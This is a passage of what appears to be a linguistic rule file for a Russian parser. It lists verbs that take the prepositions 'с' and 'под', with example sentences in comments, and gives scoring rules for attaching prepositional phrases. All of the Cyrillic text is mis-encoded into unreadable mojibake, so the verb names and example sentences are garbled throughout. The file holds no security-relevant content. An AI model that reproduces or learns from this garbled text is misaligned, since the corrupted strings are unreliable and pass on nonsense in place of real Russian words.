rus_verbs:ัะดัะฒะฐัั{}, // ัะดัะฒะฐัั ะฟัั
ั ะพะดัะฒะฐะฝัะธะบะพะฒ
rus_verbs:ัะฒะตัะณะฐัั{}, // ัะฒะตัะณะฐัั ัะฐัั ั ััะพะฝะฐ
rus_verbs:ัะฑะธัััั{}, // ัะฑะธัััั ั ะฟััะธ
rus_verbs:ััะธัะฐัั{}, // ััะธัะฐัั ัััะฟะบะพะน ะฝะฐะดะฟะธัั ั ะดะพัะบะธ
rus_verbs:ัะฑะธัะฐัั{}, // ัะฑะธัะฐัั ะผััะพั c ะฟะพะปะฐ
rus_verbs:ัะดะฐะปััั{}, // ัะดะฐะปััั ะธะณัะพะบะฐ ั ะฟะพะปั
rus_verbs:ะพะบััะถะธัั{}, // ะฏะฟะพะฝะธั ะพะบััะถะตะฝะฐ ัะพ ะฒัะตั
ััะพัะพะฝ ะผะพััะผะธ.
rus_verbs:ัะฝะธะผะฐัั{}, // ะฏ ัะฝะธะผะฐั ั ัะตะฑั ะฒััะบัั ะพัะฒะตัััะฒะตะฝะฝะพััั ะทะฐ ะตะณะพ ะฟะพะฒะตะดะตะฝะธะต.
ะณะปะฐะณะพะป:ะฟะธัะฐัััั{ aux stress="ะฟะธั^ะฐัััั" }, // ะกะพะฑััะฒะตะฝะฝัะต ะธะผะตะฝะฐ ะฟะธััััั ั ะฑะพะปััะพะน ะฑัะบะฒั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฟะพะบะพะนะฝัะน{}, // ะก ััะพะน ััะพัะพะฝั ั ัะฟะพะบะพะตะฝ.
rus_verbs:ัะฟัะพัะธัั{}, // ะก ัะตะฑั ะทะฐ ะฒัั ัะฟัะพััั.
rus_verbs:ัะตัั{}, // ะก ะฝะตะณะพ ัะตััั ะฟะพั.
rus_verbs:ะดััั{}, // ะก ะผะพัั ะดัะตั ะฒะตัะตั.
rus_verbs:ะบะฐะฟะฐัั{}, // ะก ะตะณะพ ะปะธัะฐ ะบะฐะฟะฐะปะธ ะบััะฟะฝัะต ะบะฐะฟะปะธ ะฟะพัะฐ.
rus_verbs:ะพะฟัััะธัั{}, // ะะฝะฐ ะพะฟัััะธะปะฐ ัะตะฑัะฝะบะฐ ั ััะบ ะฝะฐ ะฟะพะป.
rus_verbs:ัะฟััะณะฝััั{}, // ะะฝะฐ ะปะตะณะบะพ ัะฟััะณะฝัะปะฐ ั ะบะพะฝั.
rus_verbs:ะฒััะฐัั{}, // ะัะต ะฒััะฐะปะธ ัะพ ัััะปัะตะฒ.
rus_verbs:ัะฑัะพัะธัั{}, // ะะพะนะดั ะฒ ะบะพะผะฝะฐัั, ะพะฝ ัะฑัะพัะธะป ั ัะตะฑั ะฟะฐะปััะพ.
rus_verbs:ะฒะทััั{}, // ะะพะทัะผะธ ะบะฝะธะณั ั ะฟะพะปะบะธ.
rus_verbs:ัะฟััะบะฐัััั{}, // ะั ัะฟััะบะฐะปะธัั ั ะณะพัั.
rus_verbs:ัะนัะธ{}, // ะะฝ ะฝะฐััะป ัะตะฑะต ะทะฐะผะตััะธัะตะปั ะธ ัััะป ัะพ ัะปัะถะฑั.
rus_verbs:ะฟะพัั
ะฐัั{}, // ะะฐะฑะพัะบะฐ ะฟะพัั
ะฐะตั ั ัะฒะตัะบะฐ ะฝะฐ ัะฒะตัะพะบ.
rus_verbs:ะพัะฟัะฐะฒะปััััั{}, // ะะฐั ะฟะพะตะทะด ะพัะฟัะฐะฒะปัะตััั ัะพ ะฒัะพัะพะน ะฟะปะฐััะพัะผั.
rus_verbs:ะดะฒะธะณะฐัััั{}, // ะะฝ ะฝะต ะดะฒะธะณะฐะปัั ั ะผะตััะฐ.
rus_verbs:ะพัั
ะพะดะธัั{}, // ะผะพะน ะฟะพะตะทะด ะพัั
ะพะดะธั ั ะฟะตัะฒะพะณะพ ะฟััะธ
rus_verbs:ะฟะพะฟะฐััั{}, // ะะฐะนะบะป ะฟะพะฟะฐะป ะฒ ะบะพะปััะพ ั ะดะตัััะธะผะตััะพะฒะพะน ะดะธััะฐะฝัะธะธ
rus_verbs:ะฟะฐะดะฐัั{}, // ัะฝะตะณ ะฟะฐะดะฐะตั ั ะฒะตัะฒะตะน
rus_verbs:ัะบัััััั{} // ะะต ะฒะพะดะธัะตะปั, ะฑัะพัะธะฒ ะผะฐัะธะฝั, ัะบััะปัั ั ะผะตััะฐ ะฟัะพะธััะตััะฒะธั.
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะก_ะ ะพะด ะฟัะตะดะปะพะณ:ั{} @regex("[a-z]+[0-9]*") }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะก_ะ ะพะด ะฟัะตะดะปะพะณ:ั{} *:*{ะฟะฐะดะตะถ:ัะพะด} }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะก_ะ ะพะด ะฟัะตะดะปะพะณ:ั{} *:*{ะฟะฐะดะตะถ:ะฟะฐัั} }
then return true
}
#endregion ะ ะะะะขะะะฌะะซะ
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ั{} *:*{ ะฟะฐะดะตะถ:ัะฒะพั } }
then return false,-3
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ั{} *:*{ ะฟะฐะดะตะถ:ัะพะด } }
then return false,-4
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ั{} * }
then return false,-5
}
#endregion ะัะตะดะปะพะณ_ะก
/*
#region ะัะตะดะปะพะณ_ะะะ
// -------------- ะะ ะะะะะ 'ะะะ' -----------------------
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฟะพะด{} @regex("[a-z]+[0-9]*") }
then return true
}
// ะะะ+ะฒะธะฝ.ะฟ. ะฝะต ะผะพะถะตั ะฟัะธัะพะตะดะธะฝััััั ะบ ัััะตััะฒะธัะตะปัะฝัะผ, ะฟะพััะพะผั
// ะพะฝ ะฟัะธัะพะตะดะธะฝัะตััั ะบ ะปัะฑัะผ ะณะปะฐะณะพะปะฐะผ.
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฟะพะด{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return true
}
wordentry_set ะะป_ะะะ_ัะฒะพั=
{
rus_verbs:ะธะทะฒะธะฒะฐัััั{}, // ะธะทะฒะธะฒะฐะปะฐัั ะฟะพะด ะตะณะพ ะดะปะธะฝะฝัะผะธ ััะฐะผะธ
rus_verbs:ะ ะะกะะ ะะกะขะ ะะะฏะขะฌะกะฏ{}, // ะะพะด ะณััััะผ ะบะพะฒัะพะผ ััะฐะฒั ะธ ะฟะปะพัะฝัะผ ัะฟะปะตัะตะฝะธะตะผ ะบะพัะฝะตะน (ะ ะะกะะ ะะกะขะ ะะะฏะขะฌะกะฏ)
rus_verbs:ะะ ะะกะะขะฌ{}, // ััะพะฑั ัั ะตะณะพ ะฟะพะด ะดะตัะตะฒะพะผ ะฑัะพัะธะป? (ะะ ะะกะะขะฌ)
rus_verbs:ะะะขะฌะกะฏ{}, // ะฟะพะด ะผะพะตะน ัะตะบะพะน ัะธะปัะฝะพ ะฑะธะปะพัั ะตะณะพ ัะตัะดัะต (ะะะขะฌะกะฏ)
rus_verbs:ะะะฃะกะขะะขะฌะกะฏ{}, // ะณะปะฐะทะฐ ะตะณะพ ะพะฟัััะธะปะธัั ะฟะพะด ะตะต ะถะตะปััะผ ะฒะทะณะปัะดะพะผ (ะะะฃะกะขะะขะฌะกะฏ)
rus_verbs:ะะะะซะะะขะฌะกะฏ{}, // ะตะณะพ ะณััะดั ััะดะพัะพะถะฝะพ ะฒะทะดัะผะฐะปะฐัั ะฟะพะด ะตะต ััะบะพะน (ะะะะซะะะขะฌะกะฏ)
rus_verbs:ะะ ะะะงะะขะฌะกะฏ{}, // ะะฝะฐ ะฟัะพะผัะฐะปะฐัั ะฟะพะด ะฝะธะผะธ ะธ ะธััะตะทะปะฐ ะทะฐ ะธะทะณะธะฑะพะผ ะณะพัั. (ะะ ะะะงะะขะฌะกะฏ)
rus_verbs:ะฒัะฟะปััั{}, // ะะฐะบะพะฝะตั ะพะฝ ะฒัะฟะปัะป ะฟะพะด ะฝะฐะฒะธัะฐะฒัะตะน ะบะพัะผะพะน, ัะฐะบ ะธ ะฝะต ะพัััะบะฐะฒ ัะพะณะพ, ััะพ ั
ะพัะตะป. (ะฒัะฟะปััั)
rus_verbs:ะะะะงะะขะฌะกะฏ{}, // ะะฝ ะฟะพััะธ ะฒะตััะธะบะฐะปัะฝะพ ัั
ะพะดะธั ะฒ ัะตะบั ะธ ะบะพะฝัะฐะตััั ะณะปัะฑะพะบะพ ะฟะพะด ะฒะพะดะพะน. (ะะะะงะะขะฌะกะฏ)
rus_verbs:ะะะะะขะ{}, // ะขะฐะผ ะพะฝะธ ะฟะพะปะทะปะธ ะฟะพะด ัะฟััะฐะฝะฝัะผ ัะตัะฝะพะฒะฝะธะบะพะผ ะธ ัะบะฒะพะทั ะฟะตัะตะฟะปะตัะฐะฒัะธะตัั ะบัััั (ะะะะะขะ)
rus_verbs:ะะ ะะฅะะะะขะฌ{}, // ะะพะปัั ะฟัะพั
ะพะดะธะป ะฟะพะด ะณะธะณะฐะฝััะบะธะผะธ ะฒะตัะฒัะผะธ ะดะตัะตะฒัะตะฒ ะธ ะผั
ะพะฒ, ัะฒะธัะฐะฒัะธั
ั ะฒะตัะฒะตะน ะทะตะปะตะฝัะผะธ ะฒะพะดะพะฟะฐะดะฐะผะธ. (ะะ ะะฅะะะะขะฌ, ะะ ะะะะะะขะ, ะะ ะะะะะะะขะฌ)
rus_verbs:ะะ ะะะะะะขะ{}, //
rus_verbs:ะะ ะะะะะะะขะฌ{}, //
rus_verbs:ะะะะขะฌ{}, // ะญัะธ ะฟัะตะดะฟะพะปะพะถะตะฝะธั ะฝะต ะธะผะตัั ะฟะพะด ัะพะฑะพะน ะฝะธะบะฐะบะพะน ะฟะพัะฒั (ะะะะขะฌ)
rus_verbs:ะะะกะะขะฌ{}, // ะพะฝะฐ ะฝะพัะธั ะฟะพะด ัะตัะดัะตะผ ัะตะฑะตะฝะบะฐ (ะะะกะะขะฌ)
rus_verbs:ะะะกะขะฌ{}, // ะ ะธะผ ะฟะฐะป ะฟะพะด ะฝะฐัะธัะบะพะผ ะฒะฐัะฒะฐัะพะฒ (ะะะกะขะฌ)
rus_verbs:ะฃะขะะะฃะขะฌ{}, // ะััััะฟะฐะฒัะธะต ััะฐััะตัะบะธะต ะฒะตะฝั ัะฝะพะฒะฐ ััะพะฝัะปะธ ะฟะพะด ะณะปะฐะดะบะพะน ัะฒะตัะดะพะน ะฟะปะพััั. (ะฃะขะะะฃะขะฌ)
rus_verbs:ะะะะฏะขะฌะกะฏ{}, // ะะพะด ะตะณะพ ะบัะธะฒัะผะธ ัะตััะผะธ ะฒะตัะฒัะผะธ ะธ ะฟะตััััะผะธ ะบะพัะธัะฝะตะฒะพ-ะทะตะปะตะฝัะผะธ ะปะธััััะผะธ ะฒะฐะปัะปะธัั ะฟััััะต ะพัะตั
ะพะฒัะต ัะบะพัะปัะฟะบะธ ะธ ัะตัะดัะตะฒะธะฝั ะฟะปะพะดะพะฒ. (ะะะะฏะขะฌะกะฏ)
rus_verbs:ะฒะทะดัะพะณะฝััั{}, // ะพะฝะฐ ะฒะทะดัะพะณะฝัะปะฐ ะฟะพะด ะตะณะพ ะฒะทะณะปัะดะพะผ
rus_verbs:ะธะผะตัััั{}, // ั ะบะฐะถะดะพะณะพ ะฟะพะด ััะบะพะน ะธะผะตะปัั ะฐัะฑะฐะปะตั
rus_verbs:ะะะะขะฌ{}, // ะกะฐัะบะฐ ัะถะต ะถะดะฐะป ะฟะพะด ะดะพะถะดะตะผ (ะะะะขะฌ)
rus_verbs:ะะะงะะะะขะฌ{}, // ะผะฝะต ะฟัะธั
ะพะดะธะปะพัั ะฝะพัะตะฒะฐัั ะฟะพะด ะพัะบััััะผ ะฝะตะฑะพะผ (ะะะงะะะะขะฌ)
rus_verbs:ะฃะะะะขะฌ{}, // ะฒั ะดะพะปะถะฝั ัะทะฝะฐัั ะผะตะฝั ะฟะพะด ััะธะผ ะธะผะตะฝะตะผ (ะฃะะะะขะฌ)
rus_verbs:ะะะะะ ะะะะะขะฌะกะฏ{}, // ะผะฝะต ะฝะตะปัะทั ะทะฐะดะตัะถะธะฒะฐัััั ะฟะพะด ะทะตะผะปะตะน! (ะะะะะ ะะะะะขะฌะกะฏ)
rus_verbs:ะะะะะะะฃะขะฌ{}, // ะฟะพะด ะธั
ะบะพะฟััะฐะผะธ ะฟะพะณะธะฑะปะธ ัะตะปัะต ะฐัะผะธะธ! (ะะะะะะะฃะขะฌ)
rus_verbs:ะ ะะะะะะะขะฌะกะฏ{}, // ะฟะพะด ะฝะพะณะฐะผะธ ั ะผะตะฝั ัะฐะทะดะฐะฒะฐะปัั ััั
ะพะน ั
ัััั (ะ ะะะะะะะขะฌะกะฏ)
rus_verbs:ะะ ะฃะะะขะฌะกะฏ{}, // ะฟะพะฒะตัั
ะฝะพััั ะฟะปะฐะฝะตัั ะบััะถะธะปะฐัั ั ะฝะตะณะพ ะฟะพะด ะฝะพะณะฐะผะธ (ะะ ะฃะะะขะฌะกะฏ)
rus_verbs:ะะะกะะขะฌ{}, // ะฟะพะด ะณะปะฐะทะฐะผะธ ั ะฝะตะณะพ ะฒะธัะตะปะธ ััะถะตะปัะต ัะบะปะฐะดะบะธ ะบะพะถะธ (ะะะกะะขะฌ)
rus_verbs:ัะพะดัะพะณะฝััััั{}, // ัะพะดัะพะณะฝัะปัั ะฟะพะด ะฝะพะณะฐะผะธ ะบะฐะผะตะฝะฝัะน ะฟะพะป (ะกะะะ ะะะะฃะขะฌะกะฏ)
rus_verbs:ะกะะะะ ะะขะฌะกะฏ{}, // ัะตะผะฝะพัะฐ ัะถะต ัะพะฑะธัะฐะปะฐัั ะฟะพะด ะดะตัะตะฒััะผะธ (ะกะะะะ ะะขะฌะกะฏ)
rus_verbs:ะฃะะะกะขะฌ{}, // ัะพะปัััะบ ัะฟะฐะป ะฟะพะด ะณัะฐะดะพะผ ัะดะฐัะพะฒ (ะฃะะะกะขะฌ)
rus_verbs:ะะะะะฃะขะฌะกะฏ{}, // ะปะพะดะบะฐ ะดะฒะธะฝัะปะฐัั ะฟะพะด ะฒะพะดะพะน (ะะะะะฃะขะฌะกะฏ)
rus_verbs:ะฆะะ ะะขะฌ{}, // ะฟะพะด ะตะณะพ ะบัััะตะน ัะฐัะธะปะฐ ั
ะพะปะพะดะฝะฐั ะทะธะผะฐ (ะฆะะ ะะขะฌ)
rus_verbs:ะะ ะะะะะะขะฌะกะฏ{}, // ะฟะพะด ะบะพะฟััะฐะผะธ ะตะณะพ ะปะพัะฐะดะธ ะฟัะพะฒะฐะปะธะปัั ะผะพัั (ะะ ะะะะะะขะฌะกะฏ ะะะ ัะฒะพั)
rus_verbs:ะะะะ ะะะะขะฌ{}, // ะทะตะผะปั ะทะฐะดัะพะถะฐะปะฐ ะฟะพะด ะฝะพะณะฐะผะธ (ะะะะ ะะะะขะฌ)
rus_verbs:ะะะฅะะฃะ ะะขะฌะกะฏ{}, // ะณะพััะดะฐัั ะฝะฐั
ะผััะธะปัั ะฟะพะด ะผะฐัะบะพะน (ะะะฅะะฃะ ะะขะฌะกะฏ)
rus_verbs:ะ ะะะะขะะขะฌ{}, // ัะฐะฑะพัะฐัั ะฟะพะด ัะณัะพะทะพะน ะฝะตะปัะทั (ะ ะะะะขะะขะฌ)
rus_verbs:ะจะะะะะฌะะฃะขะฌะกะฏ{}, // ะฟะพะด ะฝะพะณะพะน ัะตะฒะตะปัะฝัะปัั ะบะฐะผะตะฝั (ะจะะะะะฌะะฃะขะฌะกะฏ)
rus_verbs:ะะะะะขะฌ{}, // ะฒะธะดะตะป ัะตะฑั ะฟะพะด ะบะฐะผะฝะตะผ. (ะะะะะขะฌ)
rus_verbs:ะะกะขะะขะฌะกะฏ{}, // ะฒัะพัะพะต ะพััะฐะปะพัั ะฟะพะด ะฒะพะดะพะน (ะะกะขะะขะฌะกะฏ)
rus_verbs:ะะะะะขะฌ{}, // ะฒะพะดะฐ ะบะธะฟะตะปะฐ ะฟะพะด ะบะพะฟััะฐะผะธ (ะะะะะขะฌ)
rus_verbs:ะกะะะะขะฌ{}, // ะผะพะถะตั ัะธะดะธั ะฟะพะด ะดะตัะตะฒะพะผ (ะกะะะะขะฌ)
rus_verbs:ะะะะฌะะะฃะขะฌ{}, // ะฟะพะด ะฝะฐะผะธ ะผะตะปัะบะฝัะปะพ ะผะพัะต (ะะะะฌะะะฃะขะฌ)
rus_verbs:ะะะกะะซะจะะขะฌะกะฏ{}, // ะฟะพะด ะพะบะฝะพะผ ะฟะพัะปััะฐะปัั ััะผ (ะะะกะะซะจะะขะฌะกะฏ)
rus_verbs:ะขะฏะะฃะขะฌะกะฏ{}, // ะฟะพะด ะฝะฐะผะธ ััะฝัะปะธัั ะพะฑะปะฐะบะฐ (ะขะฏะะฃะขะฌะกะฏ)
rus_verbs:ะะ ะะะะขะฌ{}, // ะทะตะผะปั ะดัะพะถะฐะปะฐ ะฟะพะด ะฝะธะผ (ะะ ะะะะขะฌ)
rus_verbs:ะะ ะะะขะะกะฌ{}, // ั
ัะถะต ะฟัะธัะปะพัั ะฟะพะด ะทะตะผะปะตะน (ะะ ะะะขะะกะฌ)
rus_verbs:ะะะ ะะขะฌ{}, // ะปะฐะผะฟะฐ ะณะพัะตะปะฐ ะฟะพะด ะฟะพัะพะปะบะพะผ (ะะะ ะะขะฌ)
rus_verbs:ะะะะะะะขะฌ{}, // ะฟะพะปะพะถะธะป ะฟะพะด ะดะตัะตะฒะพะผ ะฟะปะฐั (ะะะะะะะขะฌ)
rus_verbs:ะะะะะ ะะขะฌะกะฏ{}, // ะฟะพะด ะดะตัะตะฒััะผะธ ะทะฐะณะพัะตะปัั ะบะพััะตั (ะะะะะ ะะขะฌะกะฏ)
rus_verbs:ะะ ะะะะกะะขะฌะกะฏ{}, // ะฟะพะด ะฝะฐะผะธ ะฟัะพะฝะพัะธะปะธัั ะบัััะธ (ะะ ะะะะกะะขะฌะกะฏ)
rus_verbs:ะะะขะฏะะฃะขะฌะกะฏ{}, // ะฟะพะด ะบะพัะฐะฑะปะตะผ ะฟะพััะฝัะปะธัั ะณะพัั (ะะะขะฏะะฃะขะฌะกะฏ)
rus_verbs:ะะะะะขะฌ{}, // ะฑะตะณะธ ะฟะพะด ัะตัะพะน ััะตะฝะพะน ะฝะพัะธ (ะะะะะขะฌ)
rus_verbs:ะ ะะะะะขะฌะกะฏ{}, // ะฟะพะด ะพะบะฝะพะผ ัะฐะทะดะฐะปะพัั ััะถะตะปะพะต ะดัั
ะฐะฝะธะต (ะ ะะะะะขะฌะกะฏ)
rus_verbs:ะะกะะซะฅะะฃะขะฌ{}, // ะฟะพะด ะฟะพัะพะปะบะพะผ ะฒัะฟัั
ะฝัะปะฐ ััะบะฐั ะปะฐะผะฟะฐ (ะะกะะซะฅะะฃะขะฌ)
rus_verbs:ะกะะะขะ ะะขะฌ{}, // ะฟัะพััะพ ัะผะพััะธัะต ะฟะพะด ะดััะณะธะผ ัะณะปะพะผ (ะกะะะขะ ะะขะฌ ะะะ)
rus_verbs:ะะฃะขะฌ{}, // ัะตะฟะตัั ะฟะพะด ะดะตัะตะฒััะผะธ ะดัะป ะฒะตัะตัะพะบ (ะะฃะขะฌ)
rus_verbs:ะกะะ ะซะขะฌะกะฏ{}, // ะพะฝะพ ะฑััััะพ ัะบััะปะพัั ะฟะพะด ะฒะพะดะพะน (ะกะะ ะซะขะฌะกะฏ ะะะ)
rus_verbs:ะฉะะะะะฃะขะฌ{}, // ะดะฐะปะตะบะพ ะฟะพะด ะฝะธะผะธ ัะตะปะบะฝัะป ะฒััััะตะป (ะฉะะะะะฃะขะฌ)
rus_verbs:ะขะ ะะฉะะขะฌ{}, // ะพัะบะพะปะบะธ ััะตะบะปะฐ ััะตัะฐะปะธ ะฟะพะด ะฝะพะณะฐะผะธ (ะขะ ะะฉะะขะฌ)
rus_verbs:ะ ะะกะะะะะะะขะฌะกะฏ{}, // ะฟะพะด ะฝะธะผะธ ัะฐัะฟะพะปะฐะณะฐะปะธัั ัะฐะทะฝะพัะฒะตัะฝัะต ัะบะฐะผัะธ (ะ ะะกะะะะะะะขะฌะกะฏ)
rus_verbs:ะะซะกะขะฃะะะขะฌ{}, // ะฟะพะด ะฝะพะณััะผะธ ะฒััััะฟะธะปะธ ะบะฐะฟะตะปัะบะธ ะบัะพะฒะธ (ะะซะกะขะฃะะะขะฌ)
rus_verbs:ะะะกะขะฃะะะขะฌ{}, // ะฟะพะด ะบัะฟะพะปะพะผ ะฑะฐะทั ะฝะฐัััะฟะธะปะฐ ัะธัะธะฝะฐ (ะะะกะขะฃะะะขะฌ)
rus_verbs:ะะกะขะะะะะะขะฌะกะฏ{}, // ะฟะพะฒะพะทะบะฐ ะพััะฐะฝะพะฒะธะปะฐัั ะฟะพะด ัะฐะผัะผ ะพะบะฝะพะผ (ะะกะขะะะะะะขะฌะกะฏ)
rus_verbs:ะ ะะกะขะะฏะขะฌ{}, // ะผะฐะณะฐะทะธะฝ ัะฐััะฐัะป ะฟะพะด ะฝะพัะฝัะผ ะดะพะถะดะตะผ (ะ ะะกะขะะฏะขะฌ)
rus_verbs:ะะะะะะขะฌะกะฏ{}, // ะฟะพะด ะฒะพะดะพะน ะดะฒะธะณะฐะปะพัั ะฝะตััะพ ะพะณัะพะผะฝะพะต (ะะะะะะขะฌะกะฏ)
rus_verbs:ะะซะขะฌ{}, // ะฟะพะด ัะฝะตะณะพะผ ะผะพะณัั ะฑััั ััะตัะธะฝั (ะะซะขะฌ)
rus_verbs:ะะะฏะขะฌ{}, // ะฟะพะด ะฝะตะน ะทะธัะปะฐ ัะถะฐัะฝะฐั ัะฐะฝะฐ (ะะะฏะขะฌ)
rus_verbs:ะะะะะะะะขะฌ{}, // ะฟะพะด ััะบะพะน ะฒะพะดะธัะตะปั ะทะฐะทะฒะพะฝะธะป ัะตะปะตัะพะฝ (ะะะะะะะะขะฌ)
rus_verbs:ะะะะะะะขะฌะกะฏ{}, // ะฒะฝะตะทะฐะฟะฝะพ ะฟะพะด ะฝะธะผะธ ะฟะพะบะฐะทะฐะปะฐัั ะฒะพะดะฐ (ะะะะะะะขะฌะกะฏ)
rus_verbs:ะะะะะ ะะขะฌ{}, // ัั
ะพ ะทะฐะผะตัะปะพ ะฟะพะด ะฒััะพะบะธะผ ะฟะพัะพะปะบะพะผ (ะะะะะ ะะขะฌ)
rus_verbs:ะะะะขะ{}, // ะทะฐัะตะผ ะฟะพะด ะบะพัะฐะฑะปะตะผ ะฟะพัะปะฐ ะฟััััะฝั (ะะะะขะ)
rus_verbs:ะะะะกะขะะะะะขะฌ{}, // ะฑะพะณะธ ะฒัะตะณะดะฐ ะดะตะนััะฒััั ะฟะพะด ะผะฐัะบะพะน (ะะะะกะขะะะะะขะฌ)
rus_verbs:ะะะะกะขะะขะฌ{}, // ะผะพะบััะน ะผะตั
ะฑะปะตััะตะป ะฟะพะด ะปัะฝะพะน (ะะะะกะขะะขะฌ)
rus_verbs:ะะะขะะขะฌ{}, // ะฟะพะด ะฝะธะผ ะปะตัะตะปะฐ ัะตัะฐั ะทะตะผะปั (ะะะขะะขะฌ)
rus_verbs:ะกะะะะฃะขะฌะกะฏ{}, // ัะพะดัะพะณะฝัะปัั ะฟะพะด ะฝะพะณะฐะผะธ ะบะฐะผะตะฝะฝัะน ะฟะพะป (ะกะะะะฃะขะฌะกะฏ)
rus_verbs:ะะะะะฃะขะฌ{}, // ัะตัะฒะตัััะน ัะปะตะณะบะฐ ะบะธะฒะฝัะป ะฟะพะด ะบะฐะฟััะพะฝะพะผ (ะะะะะฃะขะฌ)
rus_verbs:ะฃะะะ ะะขะฌ{}, // ะบะพะปะดัะฝ ัะผะตั ะฟะพะด ะณััะดะพะน ะบะฐะผะตะฝะฝัั
ะณะปัะฑ (ะฃะะะ ะะขะฌ)
rus_verbs:ะะะะะซะะะขะฌะกะฏ{}, // ะฒะฝะตะทะฐะฟะฝะพ ะฟะพะด ะฝะพะณะฐะผะธ ะพะบะฐะทัะฒะฐะตััั ะทะฝะฐะบะพะผะฐั ััะพะฟะธะฝะบะฐ (ะะะะะซะะะขะฌะกะฏ)
rus_verbs:ะะกะงะะะะขะฌ{}, // ัะตัะฐั ะปะตะฝัะฐ ะดะพัะพะณะธ ะธััะตะทะฐะปะฐ ะฟะพะด ะฒะพัะพัะฐะผะธ (ะะกะงะะะะขะฌ)
rus_verbs:ะกะะะ ะะะฃะขะฌ{}, // ะณะพะปัะฑัะต ะณะปะฐะทะฐ ัะฒะตัะบะฝัะปะธ ะฟะพะด ะณััััะผะธ ะฑัะพะฒัะผะธ (ะกะะะ ะะะฃะขะฌ)
rus_verbs:ะกะะฏะขะฌ{}, // ะฟะพะด ะฝะธะผ ัะธัะปะฐ ะฑะตะปะฐั ะฟะตะปะตะฝะฐ ะพะฑะปะฐะบะพะฒ (ะกะะฏะขะฌ)
rus_verbs:ะะ ะะะะกะขะะกะฌ{}, // ัะธั
ะธะน ัะผะตั
ะฟัะพะฝะตััั ะฟะพะด ะบัะฟะพะปะพะผ ะทะฐะปะฐ (ะะ ะะะะกะขะะกะฌ)
rus_verbs:ะกะะะะฌะะะขะฌ{}, // ะพะฑะปะพะผะบะธ ััะดะฝะฐ ะผะตะดะปะตะฝะฝะพ ัะบะพะปัะทะธะปะธ ะฟะพะด ะฝะธะผะธ (ะกะะะะฌะะะขะฌ)
rus_verbs:ะะะะฃะขะฌะกะฏ{}, // ะฟะพะด ัะตัะพะน ะบะพะถะตะน ะฒะทะดัะปะธัั ัะฐัั ะผััะบัะปะพะฒ (ะะะะฃะขะฌะกะฏ)
rus_verbs:ะะ ะะะขะ{}, // ะพะฑะปะพะผะพะบ ะพัะปะธัะฝะพ ะฟัะพะนะดะตั ะฟะพะด ะบะพะปะตัะฐะผะธ ัะปะตะฒะฐ (ะะ ะะะขะ)
rus_verbs:ะ ะะะะะะะขะฌะกะฏ{}, // ัะฒะตัะปัะต ะฒะพะปะพัั ัะฐะทะฒะตะฒะฐะปะธัั ะฟะพะด ะดัั
ะฐะฝะธะตะผ ะฒะตััะฐ (ะ ะะะะะะะขะฌะกะฏ)
rus_verbs:ะกะะะ ะะะขะฌ{}, // ะณะปะฐะทะฐ ะพะณะฝะตะผ ัะฒะตัะบะฐะปะธ ะฟะพะด ัะตะผะฝัะผะธ ะฑัะพะฒัะผะธ (ะกะะะ ะะะขะฌ)
rus_verbs:ะะะะะขะฌะกะฏ{}, // ะดะตัะตะฒัะฝะฝัะน ะดะพะบ ะบะฐะทะฐะปัั ะพัะตะฝั ัะฒะตัะดัะผ ะฟะพะด ะผะพะธะผะธ ะฝะพะณะฐะผะธ (ะะะะะขะฌะกะฏ)
rus_verbs:ะะะกะขะะะะขะฌ{}, // ัะตัะฒะตัััะน ะผะฐะณ ัะพัะพะฟะปะธะฒะพ ะฟะพััะฐะฒะธะป ะฟะพะด ะทะตัะบะฐะปะพะผ ัะธัะพะบัั ัะฐัั (ะะะกะขะะะะขะฌ)
rus_verbs:ะะกะขะะะะขะฌะกะฏ{}, // ะทะฐะฟะฐัั ะพััะฐัััั ะฟะพะด ะดะฐะฒะปะตะฝะธะตะผ (ะะกะขะะะะขะฌะกะฏ ะะะ)
rus_verbs:ะะะขะฌ{}, // ะฟัะพััะพ ะผั ะฟะพะด ะทะตะผะปะตะน ะปัะฑะธะผ ะฟะตัั. (ะะะขะฌ ะะะ)
rus_verbs:ะะะฏะะะขะฌะกะฏ{}, // ะฟะพะด ะธั
ะบััะปััะผะธ ะฒะฝะตะทะฐะฟะฝะพ ะฟะพัะฒะธะปัั ะดัะผ. (ะะะฏะะะขะฌะกะฏ ะะะ)
rus_verbs:ะะะะะะขะฌะกะฏ{}, // ะผั ัะฝะพะฒะฐ ะพะบะฐะทะฐะปะธัั ะฟะพะด ัะพะปะฝัะตะผ. (ะะะะะะขะฌะกะฏ ะะะ)
rus_verbs:ะะะะฅะะะะขะฌ{}, // ะผั ะฟะพะดั
ะพะดะธะปะธ ะฟะพะด ะดััะณะธะผ ัะณะปะพะผ? (ะะะะฅะะะะขะฌ ะะะ)
rus_verbs:ะกะะ ะซะะะขะฌะกะฏ{}, // ะบัะพ ะฟะพะด ะฝะตะน ัะบััะฒะฐะตััั? (ะกะะ ะซะะะขะฌะกะฏ ะะะ)
rus_verbs:ะฅะะฎะะะขะฌ{}, // ะฟะพะด ะฝะพะณะฐะผะธ ะะปะปั ั
ะปัะฟะฐะปะฐ ะณััะทั (ะฅะะฎะะะขะฌ ะะะ)
rus_verbs:ะจะะะะขะฌ{}, // ะธั
ะพัััะด ะฒะตัะตะปะพ ัะฐะณะฐะป ะฟะพะด ะดะพะถะดะตะผ ััะพะน ะผัะทัะบะธ. (ะจะะะะขะฌ ะะะ)
rus_verbs:ะขะะงะฌ{}, // ะฟะพะด ะตะต ะฟะพะฒะตัั
ะฝะพัััั ะผะตะดะปะตะฝะฝะพ ัะตะบะปะฐ ััะพััั. (ะขะะงะฌ ะะะ ัะฒะพั)
rus_verbs:ะะงะฃะขะะขะฌะกะฏ{}, // ะผั ะพัััะธะปะธัั ะฟะพะด ััะตะฝะฐะผะธ ะทะฐะผะบะฐ. (ะะงะฃะขะะขะฌะกะฏ ะะะ)
rus_verbs:ะะะะะะกะะะะะขะฌ{}, // ะธั
